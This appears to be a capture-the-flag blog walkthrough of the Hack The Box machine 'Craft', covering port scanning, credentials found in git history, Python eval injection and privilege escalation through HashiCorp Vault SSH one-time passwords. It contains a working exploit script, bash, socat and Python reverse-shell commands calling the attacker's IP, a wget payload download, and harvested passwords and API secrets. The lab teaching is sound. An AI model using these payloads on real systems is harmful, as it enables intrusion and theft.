12 minutes
Hack The Box - Craft
Welcome to another Forest Hex hacking adventure! 🌲🏹
Today I’m going to exploit some poor programming decisions and leverage those into a root shell. Grab a beer and come along for the ride.
Port Scan
As always, I start with a port scan to see what’s open. I do a quick scan of all ports using nmap and then pipe those into a new, more thorough nmap scan.
Commands:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.110 | grep [1] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p $ports 10.10.10.110
Editor’s Note: I found out much later that this nmap procedure was redundant. The following command accomplishes the same thing:
nmap -p- -sC -sV --min-rate=1000 -T4 <ip>
Nmap found:
- Two SSH services running on ports 22, and 6022.
- An nginx server running Gogs, which is an open source framework for git.
Git can be a treasure trove of information… Chests overflowing with glittering API keys, hardcoded secrets, and yes, even username/password combinations! There are several tools available to harvest sensitive information from git, but in this instance they were not needed. Never underestimate the power of simple exploration.
Exploring the Web Server
The first thing I like to do when I find a web server open is simply browse to it and see what I can find. In addition, using browser extensions like Wappalyzer can help identify what software the server is running.
After navigating to https://10.10.10.110
, and continuing past the certificate error, I am presented with a clean interface for an API.
Clicking on the API or Git link leads to 404 errors because it attempts to use the following URIs:
api.craft.htb
gogs.craft.htb
To solve this error I added the following line to /etc/hosts:
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
The API page shows a nice interface which was created with swagger
I tried some basic SQL injection on the auth endpoints but couldn’t find anything meaningful. I decided to check the git page to see if there were any more obvious routes to gain access.
Exploring Git
Remember when I said never underestimate simple exploration? This is why:
I have to point out how much I appreciate the personality here. The commit is from ebachman, aka ‘Erlich Bachman’, a fictional character on the show Silicon Valley. Little touches like this really made the CTF more memorable.
The two circled areas immediately stuck out. A DB connection test script could very well have DB credentials, and bugs listed under “Issues” could point to weaknesses in the underlying code which could get us into the system.
First I decided to check the DB test for credentials:
No luck, they are grabbing the data from a settings file, which is not present on the git repository. But there’s still a chance the credentials were included in an older commit, so let’s take a look at the commit history and see what stands out.
Cleanup test looks suspicious, I wonder what was cleaned from it?
Ah ha! Dinesh has foolishly left his credentials hardcoded into a test he created. These credentials are for the /auth/login
endpoint of the API, and now I have a handy python script to reference for details on usage.
Credentials alone won’t be enough to get into the machine, but it’s a start. The next step is figuring out what I can do with these credentials. Looking at the issues
page is a good starting point.
Ah, the personality in this box is awesome. Gilfoyle is taking a stab at Dinesh, completely in line with something he would do on the show. What’s so bad about Dinesh’s patch though?
Can you see the vulnerability?
eval('%s > 1' % request.json['abv'])
Ah, our good pal eval
. It’s dangerous to run eval
on user input because it will evaluate a string as a python expression. You can read more about it here.
Here’s the entire function:
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
Notice that line @auth.auth_required
, this means we need an access token to reach the line of code with eval
. Luckily our good friend Dinesh has graciously provided us with credentials to get a valid token.
Exploiting Python for a Reverse Shell
The easiest way to exploit eval is to have it call os.system()
, which is a python function that will attempt to execute a given command on the OS. My initial thought was to simply pass it a reverse shell using bash:
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
The way a reverse shell works, the victim machine becomes the client and attempts to connect to you. You first run a listener on your system, usually using netcat like so:
nc -nvlp 55123
- This will start a listener on port 55123. You then have the victim machine execute a command to connect to your listener. There are several reverse shells, I like to reference this cheat sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
So, I have to get the system to execute that command. The eval expression is:
if eval('%s > 1' % request.json['abv']):
So, it will take whatever string I provide as the ABV when adding a new beer by sending a POST request to the /brew
endpoint. Dinesh to the rescue again, we can use his test script to do this.
Here’s the script I created based on his test script:
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("bash -i >& /dev/tcp/<my_ip>/44226 0>&1")'
brew_dict['name'] = 'hacking ya'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
print('attempting hack...')
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
The important part is brew_dict['abv'] = '__**import__**("os").system("bash -i >& /dev/tcp/<my_ip>/44226 0>&1")'
The problem with using os.system()
in python is that it requires import os
to be present at by the time it reaches os.system()
, otherwise it won’t know what to do. You can get around this by using the global namespace for import like I did in the line above. Definitely something new I learned figuring that out.
However, after several attempts I was unable to get a reverse shell. I suspected one of two things was possible:
- My formatting for the eval was wrong.
- The environment flask was running is was locked down.
To rule out number one I simplified my command. I had the server attempt to download a file from my machine using wget, and while I’m having it download a file it might as well be a static socat binary that I can use to get a full TTY reverse shell.
After downloading the file, I serve it up using a simple Python command:
python -m SimpleHTTPServer
After that, I modify my script to download the socat binary from my server:
brew_dict['abv'] = '**import**("os").system("wget http://10.10.14.15:8000/socat ")'
Then run the script:
python3 make_shell.py
And finally check if our server was accessed:
Success! It’s not a shell, but it’s a start and confirms that I can execute commands on the machine. It’s time to modify the script to have it use socat to create a reverse shell. I can do this using the following commands:
Listener: socat file:$(tty),raw,echo=0 tcp-listen:44226
Victim: socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.15:44226
A couple of things:
- The socat file on the victim needs to have execute permissions added.
- The command to connect via socat also needs to be modified since it’s using quotes, and the newly downloaded socat isn’t in PATH.
To solve those issues I added a chmod +x command, escaped the quotes, and added a ./ in front of the socat so linux knows to look in the current folder for it. The end result is this:
brew_dict['abv'] = '__import__("os").system("chmod +x socat; ./socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.15:44226")'
Well crap… none of that is working. I played around and still no luck… Then I realized, I have no idea what kind of shell they are using, but I know they can execute python3 based on the git repository. I decided to try my luck with a reverse shell written in python that uses sockets instead of a shell.
I found one here: https://github.com/trackmastersteve/shell, changed the IP/Port info in both files, started the listener, and executed the following command on the victim:brew_dict['abv'] = '**import**("os").system("python3 ./shell.py")'
Success! But… wait… I’m root? Hmmm… that seemed very suspicious to me. I started poking around and found:
- My socat binary didn’t work, has a syntax error.
- I’m not really root, this is stuck in a busybox shell.
- It looks like we are in a docker environment.
I also found a juicy settings file that contains DB credentials, and a secret key used to generate valid tokens from username + timestamp. This means I can generate a token for any user without the password.
After messing around long enough with the python shell I also managed to get a working socat binary on the machine to upgrade my shell to full TTY.
I modified my script to use this:
brew_dict['abv'] = '**import**("os").system("./socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.15:44227")'
It will now successfully connect to my socat listener, and give me autocomplete, ctrl hotkeys, the full monty!
Pivoting for More Access
Now I might have a full TTY shell, but I still have very limited access. I did some poking around and found a settings.py file with a bunch of secrets for the API:
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
Just look at all those juicy secrets! An inspection of the environment variables reveals something interesting as well:
GPG_KEY='0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D'
Searching this key reveals that it’s part of a python 3.6 docker instance. Hmmm, I need to escape this docker instance somehow. I have doubts that it will be via an exploit, rather it will probably involve the found credentials and API key.
So let’s see if we can access the database. I can modify the DB test script to do this since the database is only available internally. I could also set up a proxy and use a mySQL client, but the python is already set up to work so I’m going to take the path of least resistance here.
Here’s my modified DBTest script:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "show databases"
cursor.execute(sql)
results = cursor.fetchall()
print(results)
finally:
connection.close()
I’ve modified it to use fetch_all instead of fetch_one, and can execute any SQL command I want. First I show databases
, and see that it’s only craft
and information_schema
. The db= in the connection string resolves to craft
, so I can do a show tables
command to see what’s in there.
Looks like it’s only two tables, craft
which contains the beer info, and user
which contains the username and passwords for generating API tokens. I can then do select * from user
to get it all:
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
And there we have it. Granted it’s just for generating an API token, but maybe someone has reused one of their passwords.
No luck with SSH. I tried both port 22, and 6022 but was denied in both. They might work in gogs however.
And… success! It looks like Gilfoyle has some non-public repos to explore. I took a look at the nginx config file and found a new vhost: vault.craft.htb
I added it to /etc/hosts
and took a look.
Well… hmmm… Time for some more research. I found a commit that disabled the vault UI, it looks like there’s a listener at port 8200 though. More digging….
Well… What’s this??
An OpenSSH private key on his private git. Why hello there darlin', let’s take you out for a spin. I copied the key into a new file with nano, saved and modified the permissions (ssh requires this to work), then attempted to log in via ssh:
root@wks104:~/craft# chmod 600 gilfoyle.keyroot@wks104:~/craft# ssh gilfoyle@craft.htb -i gilfoyle.key
There’s the user flag. I was almost stymied at the required passphrase on the key, but the same password Gilfoyle used for git was used here! For shame… for as much smack as Gilfoyle talks on Dinesh, he has reused his password in three places here.
Now that we have a solid foothold it’s time to escalate our priveleges.
Gaining Root Access
The first thing I do when attempting privelege escalation is to check the sudoers file. Actually, I lied, the first thing I do is check the shell I’m in to see if it’s restricted. This is accomplished via: echo $0
Looks like this one has bash:
Next onto the sudoers file:
cat /etc/sudoers
sudo -l
No sudo on this machine. Now normally I would proceed to use both LinuxEnum.sh and linuxprivchecker.py, but something stuck out when I was trifling through Gilfoyle’s git branch.
This script looks like it enables some form of OTP for root access via SSH. I did some googling and found out more:
It’s a program called Vault by Hashicorp. It’s a server which handles secret management that serves up access over HTTP, and a local client as well. I went through the tutorial and started looking for secrets.
Vault was indeed installed and running on the machine, the command line interface worked just fine. I attempted to find anything at all in the data storage of the program:
vault secrets list
Now that I know the paths for possible secrets I can iterate through them:
root@craft:~# vault list /cubbyhole
No entry… It seems I have to login somehow. I did some more digging in the vault docs and found that I could create a token, and login with that token locally.
vault token create
vault login 9716e52b-d838-38bf-e495-ca32ff66c521
vault list /cubbyhole
It worked! No more permission denied errors. I proceeded to check all the other secret engines, but no luck, there was nothing in any of them. I wanted to learn more about the SSH engine though so back the the docs! I came across this page:
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html
It explained the process a bit more, and gave a nice one-liner to use
vault ssh -role otp_key_role -mode otp username@x.x.x.x
I know from Gilfoyle’s git page the SSH OTP is enabled, and the role is root_otp. I filled in the blanks and executed the command:
vault ssh -role root_otp -mode otp root@localhost
Ah ha! I have a password prompt, and an OTP. So copy and paste OTP, cross fingers…
A very cool box. Until next time hackers, this is Brian G. signing off!